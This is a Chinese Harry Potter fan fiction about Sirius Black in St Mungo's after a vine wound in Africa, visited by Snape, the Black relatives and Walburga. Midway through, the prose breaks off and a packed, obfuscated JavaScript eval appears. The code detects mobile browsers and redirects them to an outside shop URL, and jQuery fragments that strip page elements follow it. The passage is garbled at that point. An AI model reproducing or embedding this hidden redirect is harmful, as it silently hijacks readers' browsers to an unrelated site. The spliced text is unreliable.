圣芒戈魔法伤病医院五楼，魔药与魔法生物伤害专科。
雷古勒斯站在病房门口，看着治疗师把西里斯那条被东非大裂谷某种不知名活体藤蔓贯穿的右小腿重新清创缝合，换下今天第二块被血水浸透的敷料。
西里斯躺在病床上，脸色因为失血和跨国飞路网的连续超负荷转运而显得苍白，肩膀上还缠着从伊朗高原贝都因部落带回来的传统草药绷带，但这不妨碍他把一颗从蒙古带回来的干椰枣抛给刚帮他拎着飞天摩托残骸从非洲驮回来的埃德加。
埃德加接过椰枣看了一眼，椰枣上贴着西里斯手写的标签：“东非大裂谷，狐獴偷剩的，留给博恩斯先生当审计凭证”。
“你在非洲到底碰到了什么。”雷古勒斯问他。
西里斯靠在枕头上，用一种在飞行训练课上描述障碍物间距时极其科学严谨的语气回答了一长串他在东非遭遇的生物特征：
“那东西的触须能穿透六级防护咒，生长速度极快，用从德国黑森林带过来的幼苗除咒套件完全无效，最后我是靠蒙古高原上那种能在移动中自行激活的区域防护阵列才撑到火山口边缘。那东西大概有马人的草叉那么长，但比草叉聪明得多。它在刺穿我的小腿之前先把我扔在地上的魔杖拍飞了好几英尺。
所以我现在腿上被贯穿的伤口是双重创伤，一部分来自藤蔓本身的穿刺，另一部分来自我忍痛捡回魔杖后用了三级以上的咒语反冲把自己左前臂也灼伤了。”然后西里斯顿了顿，用一种极其罕见的正经语气说，
“麻瓜急救包在海边盐雾腐蚀中全部失效，非洲当地的蜥蜴血清完全无效，我现在体内还残留着好几种未被英国药典收录的东非火山带混合毒素。”
雷古勒斯听到这里马上想到了一个人，转身离开病房。他穿过圣芒戈五楼的走廊，经过贴满委员会标准化认证标签的药剂储藏柜，经过墙上那张国际魔法生物联合委员会新物种毒素对照表。这张表上最近新增的好几项都是从东非和蒙古高原传回来的。一直走到魔药研发部的办公室门口。
门没关，西弗勒斯·斯内普正坐在桌前，面前摊着的正是几周前刚从东非火山口寄回来的那批活体藤蔓样本，正被他用普林斯低温灭活序列逐段分离毒素蛋白。
样本旁边放着艾米从委员会档案室调出来的普林斯残卷影印本，翻开在“热带生物毒素分阶处理”那一章，页脚还有昨天斯内普刚补上去的一行注：“东非未知藤蔓属，活性蛋白耐低温，三代以内不适用标准灭活序列。需重新校准最低致死温度窗口。”
“西弗勒斯，”雷古勒斯开门见山，“我的哥哥在非洲被某种没有被英国药典收录的植物毒素感染了。圣芒戈的常规解毒剂对他无效。我需要你帮忙。”
斯内普连头都没抬。“你哥哥上次被拍到在蒙古高原上把一台麻瓜GPS手持机拆成零件又装回去，我还在等着看他什么时候把自己装进病床。现在他做到了。”
“他这次伤得很重。”雷古勒斯往前走了一步，从内袋里取出那份他刚从治疗师手里拿到的诊断报告副本。上面列着三行用黑色墨水标注的未知毒素类别和三种不同的侵袭阶段，最后一行写着治疗师的原话：“建议向普林斯魔药研发团队请求特定配方援助。”
斯内普把这行字从头到尾看了两遍，然后站起来，把自己那件从不离身的黑色工作袍从椅背上拿起来披上，用一种在魔药储藏室里叫实习生重新校准样本时的冷漠语调说：“带路。”
圣芒戈五楼走廊尽头的这间病房里，莱姆斯·卢平坐在最近的一张访客椅上，膝盖上摊着一本被翻旧的《飞行安全规范手册》，旁边的小桌上放着几颗用麻瓜糖纸包着的蜂蜜公爵太妃糖。
詹姆和莉莉站在窗边，手里各自端着两杯刚从楼下自助机接的热茶。彼得也在，他正蹲在墙角替他照顾一只从蒙古带回来的狐獴幼崽，那小东西正趴在西里斯沾满火山灰的外套上打盹。
斯内普推门进来时，整间病房的空气在他身后骤降了好几度，斯内普那双黑眼睛从詹姆扫到莱姆斯，又扫到蹲在墙角盯着狐獴一动不敢动的彼得，最后落在躺在床上腿上缠满绷带、脸上还挂着和当年被从禁林抬回来之后同样嬉皮笑脸表情的西里斯·布莱克身上。
斯内普把手里那只密封的药剂瓶放在床头柜上，用一种在魔药课上指出学生坩埚温度偏差时的精确语调把他此次在非洲的种种遭遇逐条念了一遍。跨过了多少条未经认证的飞行航线，穿过了多少个被麻瓜武装冲突覆盖的禁飞区，吃了野地里无法被现有解毒剂中和的未知果实，把被海水腐蚀过的麻瓜急救包继续绑在伤口上直到溃烂，最后干脆被闻所未闻的活体藤蔓从腿骨里对穿过去。
斯内普说：“在来之前看了他传回委员会的那些符文拓片和活体样本照片，那确实是一组很有价值的发现，但显然你在把样本寄回英国的时候忘了告诉自己的腿也在样本里。”
西里斯靠在枕头上听完这整整一大堆全部命中他伤情要害的讽刺，脸上露出一种既想笑又扯到伤口疼得抽气的表情，然后伸手把床头柜上那瓶药剂拿过来对着光端详，标签上那行低温灭活序列的编号让他想起几年前在委员会看到斯内普因为狼毒抑制剂第一次通过审查而不得不签下属于自己的第一份正式预算单。
“鼻涕精，”西里斯用一种在飞行训练课上对新生解释扫帚刹车原理时同样认真、但每一个字都往完全相反方向走的语气说，“你在这瓶东西的说明书上加一行‘慎用于格兰芬多极端案例’，就可以把它发表在最新一期的标准药剂学通讯上了。”
西里斯把瓶子翻过来看了一眼瓶底的价格标签，然后把那只密封瓶放在自己膝盖上敲了敲，说：“先不打开，等麻瓜急救包从海关检疫那边退回来，我要先用里面的旧纱布再试一次。”
斯内普用一种检验坩埚底部积垢量的冷淡表情看着他，用比平时更低沉也更慢条斯理的语调将西里斯刚才提到的每一个可以反驳的点拉成一条完整的长线。
斯内普建议：“你把那套急救包继续放在海关仓库，因为从小腿被穿透到被抬进圣芒戈的这段时间里，那些纱布上的细菌已经把伊斯坦布尔港口的海水变成了比那种非洲藤蔓更不可控的生长基。”
斯内普补充说：“如果布莱克先生能在下一次环游世界之前先翻一翻他去年发表在标准药剂学通讯上的那篇论文，就不会在伊朗高原上把贝都因部落的止痛草药和已被淘汰的上一代低温灭活旧配方混在一起。那份配方之所以被淘汰，是因为它在中东干燥地区的失效率远高于现在的版本。”
西里斯睁大眼睛把手里的药剂瓶放在膝盖上敲得更快了，不是紧张，是那种在飞行训练场上看到新生把扫帚飞出障碍物范围后既想鼓掌又想吹口哨的兴奋感：“你去年发表那篇论文的时候是不是没想到有一天会被我在贝都因部落的篝火旁边拿出来验证，你那个旧配方在干燥地区的失效率确实很高，我帮你测试过了，不用谢。”
西里斯把那只他从蒙古一路背回来、外壳上还贴着打折价签的麻瓜GPS手持机从枕头底下摸出来晃了晃，说：“这次用麻瓜导航和高温环境对比了好几组引擎数据，下次如果委员会需要测试北极圈冰层下的新配方失效率，我可以顺便带一支过去。”
斯内普说：“如果你的脑子没有被高温和藤蔓毒素一起烧坏，就应该记得北极圈冰层下的低温环境与他前几周在撒哈拉边缘让狐獴偷走椰枣的那个干燥高温区在气候分区上属于完全相反的对照组；而你现在腿上同时感染了好几种不同气候区的毒素，这本身就是一组非常有参考价值的混合样本。”
斯内普说完把一只从圣芒戈药剂科借来的小型离心管放在病床边的矮桌上，说：“如果布莱克不介意，现在需要用你的血液标本跑一次低温灭活序列的交叉校准，不是帮你，是帮刚才提到的那篇论文做数据补充。”
西里斯说：“可以，抽血可以，但离心管上必须贴标签--西里斯·布莱克，自愿提供，样本来源非洲，与论文数据交换，条件是下次不骂我。”
斯内普说：“离心管上的标签会用标准格式标注，没有多余空间写废话。”
西里斯说：“那就写在背面，我在威尔士旧作坊教日托区幼儿飞行安全时，那些孩子画在训练记录表格背面的画都是用这种借口加进去的。”
此时，病房的门被轻轻推开了。
纳西莎·马尔福站在门口，穿着一件剪裁极其合身的深绿色便袍，手里拎着一篮从庄园温室现摘的新鲜水果。她原本只是顺路来探望这个把自己折腾进病床的堂弟，却在推开门的瞬间被病房里的场景钉在了门框边上。
西里斯躺在床上腿上缠满绷带手里攥着一瓶还没开封的魔药，斯内普站在床边手里拿着一个空白的离心管正用一种她从未见过的、介于科研耐心和个人恩怨之间的复杂表情看着西里斯。
纳西莎把水果篮放在门边的矮柜上，然后走到离病床最近的那张访客椅坐下来，把双手交叠在膝上，用一种极其端庄的、在马尔福庄园任何一场下午茶会上都能让卢修斯甘愿替她续杯的姿态，轻声地说了一句：“你们继续。不用管我。”
斯内普没有继续，只是把那个空白的离心管放在矮桌上，用一种仿佛在实验室里向访问学者展示样本时才会用的平淡语调说，“今天下午还有一批从非洲火山口寄来的活体藤蔓样本需要分离毒素蛋白，如果纳西莎你不介意，我可以把你堂弟昨天的血培养结果也一并带去实验室，那份结果证明西里斯布莱克体内的混合毒素在低温灭活序列下已经开始降解，但这并不能改变他之前跨过的那条航线已经被不止一国的空中巡逻队记录在案。
斯内普说完把那份血培养结果从抽屉里拿出来，连同刚才抽的那管新血标本一起放进口袋，然后对全病房的所有人说：“这瓶解药是他自己选择不打开的。你们任何人如果发现他在午夜之前还是不肯喝下去，就告诉波特夫人把他今晚的止痛药换回之前的常规退烧药，因为他的低温灭活配方不兼容旧版止痛药。这是他去年向我建议改进兼容性时自己提的标准，现在他应该亲自遵守。”
西里斯瞪着他把离心管收好、转身准备往门口走，终于绷不住了。他从枕头底下摸出那张早已起毛的中型飞天载具驾照，举在手里对着斯内普的背影喊道：“梅林最臭的袜子，鼻涕精！你那瓶东西真的有用是不是？上次我碰过你熬的狼毒抑制剂之后整整好几天嘴里都是苦的，但莱姆斯说他那次之后整个月圆夜都没有再发烧。”
西里斯把驾照从左手换到右手，用几乎听不清的语速把后面一句话念完了，“这瓶我喝了!但如果你下次还把我的伤情报告当众念一遍，我就把你去年发表在标准药剂学通讯上的那篇论文印成大字报贴在对角巷公告墙上，在旁边注明‘此文作者曾在本世纪最伟大的非洲探险家腿里找到新物种’。”
西里斯把密封瓶拧开，把解药一口气喝完，然后把空瓶重重拍在西里斯自己正在发汗的额头上，往枕头上一倒，低声说：“那瓶东西其实挺好喝的，比在伊朗高原喝的骆驼奶好多了。”
纳西莎在访客椅上坐到了她整个探病计划外的最后时刻。
纳西莎把从庄园温室现摘的水果挨个削好放在西里斯床边的空盘子里，又用自己随身的丝帕帮西里斯把那个从他发烧滚烫的额头上滑下来的空瓶重新放回床头柜上。
纳西莎在做这些的时候始终没有发出任何多余的声响，只是在斯内普从她身边经过、朝门口走去时把目光从他手中那管新血标本移向他脸上那道极其细微、但长久以来从未被人见过的、几乎接近于忍笑的紧绷下颌线，然后垂下眼轻轻笑了一下
“你下次如果再去非洲，”纳西莎站起来把最后一片果核收进纸巾里，对西里斯说，“记得先去找西弗勒斯。否则他每次都会把这种病房变成魔药论文答辩现场。而卢修斯告诉我，这种现场在霍格沃茨以前只会发生在N.E.W.T.考场的一对一面试上。”
纳西莎把纸巾叠好放在果篮旁边，然后把那只同样被西里斯从蒙古高原带回来、此刻正趴在旁边椅子上打盹的狐獴幼崽轻轻挠了一下耳朵，朝门口走去。狐獴幼崽翻了个身，把它从蒙古一路跟到非洲又从非洲跟到圣芒戈的尾巴从椅子上垂下来，轻轻晃了晃。
西里斯被那瓶低温灭活配方解药从反复发热中彻底拽回正常体温的第二天傍晚，他的病房已经变成了整个圣芒戈最吵闹也最不像病房的地方。
起因是雷古勒斯在布莱克家族内部通讯的紧急联络频道上发了一条措辞极其简短、不附带任何感情色彩的通知：“西里斯在东非受伤已转入圣芒戈。目前无生命危险。探视时间下午四点至六点。”
这条通知本身没有任何问题。
雷古勒斯用的是布莱克家主的标准格式，甚至连“无生命危险”这个词都是从圣芒戈治疗师的正式病历摘要里直接摘出来的。但问题在于，雷古勒斯把这条通知同时发给了所有布莱克。不是“所有还在格兰莫广场十二号住着的布莱克”，不是“所有没有被从挂毯上除名的布莱克”，而是所有自从那次认亲大会以来，陆陆续续重新和布莱克家恢复了联系、被登记在外支名册上、或至少曾在教养院合作档案中留下过名字的布莱克。
这个家族在寻亲潮之前就已经以人丁兴旺、旁支庞杂、被除名者比在册者更多而闻名于整个纯血圈，而自从雷古勒斯在认亲大会上把那只铁箱钥匙放在族谱封面之后，这个家族的外支登记表已经多到了需要埃德加为此专门增加一个单独的档案分类格。
于是从那天下午四点开始，圣芒戈五楼的走廊里就出现了这样一幕：一个刚从北坡新住宅区下班、身上还穿着恒温咒操作员旧工装的混血女巫，手里拎着一篮子从自家温室现摘的无花果，在病房门口对着同样也在往里走的另一个手里抱着一只旧锡皮饼干的哑炮老妇人轻声说了句“您先请”。
她们俩都是在认亲大会之后第一次发现彼此都姓布莱克的。或者说，都是在那之后第一次被允许彼此承认都姓布莱克的。那个混血女巫的母亲是被布莱克家过继给麻瓜牧师的哑炮女婴，那个哑炮老妇人的曾祖母是安妮女王时期因嫁给麻瓜商人而被从族谱上剪除的旁系末支。她们在病房门口互相让路时还不太确定该怎么称呼对方，只是同时看向正坐在访客椅最外层给尼法朵拉绑头发的安多米达·唐克斯。
安多米达头也没抬，把自己女儿乱糟糟的浅紫色短发从和她同样乱糟糟的粉彩笔发卡里解救出来，用一种早就习惯了在各种认亲大会上为这类问题充当活字典的平淡语调说：“她是你曾祖母那边的第三代表亲，你该叫她姨妈。你可以叫你姨妈先坐下，然后你坐她旁边。这里不是格兰莫广场十二号，没有人规定谁不能和谁坐同一张椅子。”
安多米达·唐克斯，这位嫁给麻瓜、被布莱克家从挂毯上烧掉名字的女儿，在认亲大会之后没有住进布莱克家的任何一寸土地，但她在教养院日托区的义务保育员轮值表上已经连续工作了很长一段时间。
安多米达把尼法朵拉和自己丈夫泰德一起安顿在北坡新住宅区那栋离西里斯公寓只有几条街距离的小联排之后，每周两次去教养院给那些从未见过魔杖的低龄组孩子念她从麻瓜世界带回来的童话书，另外每周在圣芒戈急诊科替那些刚入职还不熟悉未成年患者安抚程序的实习生演示如何在不使用镇静剂的情况下让哭闹的孩子平静下来。
她的丈夫泰德是一名在麻瓜社区诊所工作了半辈子的牙医，用从自己诊所淘汰的旧器材帮圣芒戈牙科新设了一间专门面向对牙科器械恐惧的未成年人专用诊室，这会儿正靠在病房门口的护士站旁边，用一种极其礼貌却坚定到让人无法拒绝的语气向轮值治疗师解释为什么他们现在用的那种旧式局部麻醉咒对麻瓜出身且不习惯魔法的就诊者来说完全不够舒服。
安多米达的探病礼物是一份她自己烤的苹果派。她对着刚削完果盘、正低头抿住笑意假装自己只是在看果皮卷的纳西莎，用她们三姐妹在格兰莫广场十二号旧宅分食最后一块糖霜饼时那种惯常的语气说：
“西里斯在六年级时从霍格沃茨溜到唐克斯的诊所，拔完智齿之后在我家沙发上躺了整整一个下午，吃了我大半只烤鸡。我当时就想，这个家的人以前从来不吃我做的东西，他是第一个。”安多米达把苹果派放在窗台上，然后把自己刚才帮尼法朵拉绑头发时顺手摘下来却忘了还给她的那枚小狗发卡重新别回她头发上。
贝拉特里克斯·莱斯特兰奇是在下午四点四十七分到的。她不是走壁炉，也不是带着莱斯特兰奇庄园那些训练有素的家养小精灵从电梯口出来。她是一个人，穿着一件极其合身、没有任何多余装饰的墨绿色长袍，从圣芒戈五楼的走廊尽头走过来。
贝拉特里克斯的脚步声在石板地面上敲得很稳，每一步都和她当年在校友会备忘录中为自己的情报网络签署外事日志时一样精确。她把一只印有莱斯特兰奇家族捐赠专用章的小型恒温药箱放在病房门口的物资交接台上。那里面装着她为教养院新扩建的低龄隔离看护区追加的全年医用清洁品定向捐赠，顺便还包括了刚由她的私人画布笔在她自己工作室里重新校准过的下一代幼杖冷却参数。
贝拉特里克斯把药箱放好之后才推开病房的门，扫了一眼挤满了整个房间的各路亲戚，又扫了一眼斜躺在床上正在和莱姆斯比划非洲藤蔓穿刺角度、脸色还明显带着刚退烧完仍未完全恢复却已经不愿意继续躺着的西里斯·布莱克，然后用一种被整个纯血圈认为是最不可动摇的斯莱特林狂热崇拜者轻蔑而冷硬的语调说：
“别指望我专程来看你，我只是路过顺便确认一下你是不是还活着，免得回头跟罗道夫斯算账时还要加上一笔葬礼人情。”
西里斯把那只从他进入东非大裂谷以来一直充当幸运物的干椰枣从膝盖上拿起来，用一种对飞行课学生解释障碍物间距时既客观又故意歪向另一边逻辑的语气回答了她的“顺便路过”。
西里斯说：“如果你下次需要算葬礼人情的账，我现在的住院编号已经在圣芒戈急诊系统里排在最前面。”
贝拉从药箱旁边转过身来，用一种和她刚才被质问体温时完全相同的冷淡语调回应道，“如果你真的被藤蔓穿成筛子，我会帮你写讣告，和当年我在校友会情报网里替你拦住那些试图挖你旧丑闻的外国记者时用的是同一种绝不会出错的精炼措辞。”
但贝拉没有说完这句话的下半句，贝拉只是把它停在那个她本该继续嘲讽西里斯
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17567945|204472||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“你连魔杖都锁不住”的位置，然后把那只被她重新校准好的恒温养护块放在物资交接台上，正好压在西里斯从蒙古带回来的那张被她上次替校友会情报网核对境外异常报告时扫描过的旧便条旁边。
贝拉的声调也和刚才提到葬礼人情时一样冷静而实用，她说：“这批捐赠品本来只是给教养院低龄组准备的备件，但现在你腿上那道被藤蔓穿刺的位置离胫动脉仅差极短的距离，恒温养护块可以加快康复进度。”
纳西莎把削好的苹果递给旁边的雷古勒斯切成两半，自己端起茶杯，靠回椅背上，轻轻吐了口气。她等今天这个场景等了太久了。布莱克家那三个人，在同一个屋檐下待着，没有摔门，没有烧挂毯，没有谁把魔杖拔出来指着对方的鼻子骂叛徒。他们只是用互相挖苦的方式表达对彼此的关心。
西里斯在对着所有来探病的布莱克们宣布：“下次要带尼法朵拉一起去非洲，要用斯内普的新配方防冻涂层把獾犬号的引擎重新处理一遍。”
尼法朵拉从他病床尾侧举高手臂表示支持。
贝拉把那只装着恒温养护块的药箱放在西里斯病床旁边的矮桌上，用一种依然冷硬却不再往外推的语调说：“如果下次我发现你未经批准穿越莱斯特兰奇领地上空，我还是会向委员会提交越境投诉。”然后贝拉也把那只她从工作室带过来、原本打算转交教养院保健室的旧校准卡夹在下一版幼杖冷却参数修改稿的页脚。
雷古勒斯坐在病房另一侧，把刚才从布莱克家冬季保育追加物资清单中划掉的东西重新批回下一季度采购预算，然后揉了揉太阳穴。
雷古勒斯想起自己七岁生日那天，贝拉把一块从厨房偷偷带出来的糖霜蛋糕放在他枕头下面，而西里斯正从他们母亲书房外的走廊那一边走过来，手里攥着半截刚从他自己被摔碎的飞天扫帚模型上拆下来的制动阀。那块蛋糕后来被沃尔布加发现并扔进垃圾桶，当时西里斯挡在他前面替他挨了那次竹条抽打的全部力道，而贝拉被罚整整半月不准进入客厅。
三个人从未在同一张桌子上吃过一块完整的蛋糕，此刻他们却在同一间病房里，因为西里斯腿上那道被非洲藤蔓穿刺的伤口，在互相挖苦中重新把彼此写进同一页病历备注。
纳西莎把切好的另一半苹果递给安多米达，用一种在马尔福庄园任何一场下午茶会上都能让卢修斯甘愿替她续杯的轻柔而满足的喜悦说道：“多吃点，这可是布莱克家最难得的和平时刻。”
安多米达接过苹果咬了一口，把刚才被自己女儿别歪了无数次又被纳西莎用同样的耐心重新别正的那枚小狗发卡从唐克斯头上轻轻取下来放在西里斯床边的空果盘里。
尼法朵拉把它重新别在自己刚被母亲编好的麻花辫最末端，说下次她也要跟着去非洲。
西里斯从床上侧过头，对着坐在病床左边正在整理亲戚名单的雷古勒斯喊了一句：“雷尔，你记不记得上次那个在门口碰到几拨不同外支亲戚，差点在教养院登记处被同一个名字印错两行的那次。今天应该不会又有哪一拨人没和我们提前说好就自己撞进来了。”
雷古勒斯没有抬头，只是把自己面前那一大叠外支登记表翻到最新一页，用一种在任布莱克家主近十年里早已被各种突如其来的认亲登记训练出来的稳重口吻回答：“已经来了好几拨人，都在门外喝着护士站提供的茶水签名。”
沃尔布加是在那天深夜到的。她没有走壁炉，没有带家养小精灵，没有提前通知任何人。她只是在自己那间挂满旧画像和永远拉紧窗帘的卧室里，对着窗外格兰莫广场深夜几乎无人的街角站了很久，然后把一本很小的、封面早已褪色的旧相册放进自己的手提袋，独自穿过对角巷深夜沉寂的石板路，走进了圣芒戈五楼。
走廊里只亮着几盏夜间值班用的低亮度魔法灯。值夜班的轮值治疗师听到脚步声抬起头，刚要开口问访客登记，就看到了那张在整个纯血圈无人不识的脸。她的嘴张了张又合上，在探视登记表上极其工整地写下自己的名字。
沃尔布加用的是全名，签完之后把登记表往旁边轻轻推了推，用和她儿子雷古勒斯在正式场合如出一辙的平稳语调说：“不用通知任何人。我只看一眼就走。”
西里斯正醒着。他刚换完今天最后一轮药，正在对着天花板发呆，把自己从蒙古带回来的地磁异常数据在脑内重新排列以对抗止痛药带来的昏沉。
听到病房门被推开的声音时，西里斯以为又是哪个新认的远房亲戚，正要开口喊雷古勒斯帮他招呼，然后他看到了站在门口的沃尔布加。西里斯的嘴张了一下，没发出声音，手指无意识地把被角往上一拉，像在挡什么本来就挡不住的东西。那只自从被藤蔓刺穿后一直绑着绷带的手停了片刻，然后把被角慢慢又放下去。
西里斯上次和母亲这样单独面对面还是在格兰莫广场的客厅里，沃尔布加把那份新的继承顺位声明摔在他面前，说“从此以后这个姓氏的一切继承义务都由你弟弟承担，你可以继续当你的格兰芬多。”
沃尔布加站在离病床有大概一步的地方，看着自己这个把魔族几乎穿了个对穿、此刻腿上还缠着好几层绷带的儿子。她的背挺得很直，下颚微扬，目光从他被非洲太阳晒脱皮的脸颊扫到绑着绷带的腿，再扫到床边椅子上那件沾着火山灰、还没来得及送洗的外套。她的表情始终保持着一贯的冷硬和倨傲，但目光在那件外套旁边搁着的麻瓜GPS手持机上停了极短暂的一瞬。
“你果然还活着，”沃尔布加开口，语调和她第一次收到西里斯被从布莱克家继承顺位移交给雷古勒斯时完全一致，每个字之间的间距都像是被刻刀刻上去的，“我以为你在非洲会被什么东西吃掉。那至少还能让布莱克家省下一笔医药费。”
“差一点，”西里斯把靠在枕头上的后脑勺重新放正，用一种仿佛在和她认真谈论病情本身的语调回答，“那东西的触须能穿透六级防护咒，圣芒戈说这是他们近几十年来接诊过的最棘手的藤蔓穿刺伤。”
西里斯说完之后居然顿了顿，然后用更轻的语气补了一句：“我没事。”
沃尔布加没有接这句话。她只是把那只旧相册从手提袋里拿出来，放在床尾。那本相册很小，封面是褪色的深蓝丝绒，边角磨得发白，里面的照片是她年轻时自己拍的。
西里斯刚出生的那张，还在摇篮里，裹着布莱克家传的银绿色襁褓；他三岁那年第一次骑玩具扫帚摔在花园台阶上，膝盖磕破了，对着镜头咧嘴笑，露出缺了一颗的门牙；他十一岁那年站在霍格沃茨特快列车前穿着崭新的格兰芬多校袍，对着她的镜头做鬼脸。这些照片沃尔布加从来没有给任何人看过，包括雷古勒斯，包括当年还被允许靠近这间旧书房的任何家养小精灵。
“你的旧照片，”沃尔布加的手指在相册边缘停了一下，然后转身朝门口走去，“都放在我这里太占地方。现在你自己留着。你的伤。如果圣芒戈缺什么药，你自己知道去联系谁。布莱克家不欠任何人情，尤其是魔药方面的人情。”
沃尔布加在说“魔药方面”这个词时语调没有任何变化，只是在提到“不欠任何人情”这个布莱克家惯例时，仿佛没有意识到她的长子现在的解毒剂正是她最厌恶的那类人所熬制，也可能她已经知道但选择不提。
西里斯把相册从床尾拿过来，翻开第一页。他自己穿着银绿色婴儿服在摇篮里对着镜头伸手。他的喉结轻轻滚动了一下，用沃尔布加正好能听到、却轻得像是说给自己听的音量说：“谢谢。”
沃尔布加在门口停了一步，没有回头。走廊里的夜灯在她肩头投下很淡的影子，把她和病房之间的距离切成两半。“等你伤好了，雷古勒斯说你要去南极。南极的冰层数据比北极更稳定。”
沃尔布加背对着他，用一种在挂毯前宣告家族继承人顺位更新时同样郑重却又比那次弱了半度的语调，把整句话念完，“你要是再受伤，不必让他们告诉我——我自己能从你们的交通司事故通报里看到。”
沃尔布加说完继续往外走，走过护理站时看到旁边那块被西里斯用来联系全球通讯的加密留言板，上面压着他从蒙古带回的那张旧便条，贝拉比她自己先一步送到的恒温养护块小箱，以及一张刚从护士站送过来的下一季度教养院保育物资补充目录；那只小狐獴幼崽已经从窝里转移到留言板后方的暖气片旁边，把自己蜷成一小团，尾巴落在板沿上方轻轻摇了摇。
雷古勒斯是在第二天早晨护士长交班时看到母亲的名字，才从探视登记表上惊觉沃尔布加凌晨曾出现在五楼。他对着那个签名看了好几秒，然后把它连同一份新的恒温养护块捐赠目录从登记表上取下来，放进自己的家主档案夹，附注了一行字：“本家前代主母，为布莱克家首位合法飞天载具驾驶员，补充一份旧相册。归档人：雷古勒斯·布莱克。”
雷古勒斯把那张签名夹进档案夹时认出她最后那个词的笔迹，和沃尔布加当初在教养院保育室那批幼儿用床单移交清单上留下同一行字的笔迹一模一样。她当时只在那行字里留了一个极简短的古姓缩写，没有签全名；而这一次她签的是全名。雷古勒斯把外支登记表合上，然后对自己轻轻说了一句：“妈妈写了名字。这是她自己填的——我没帮她。”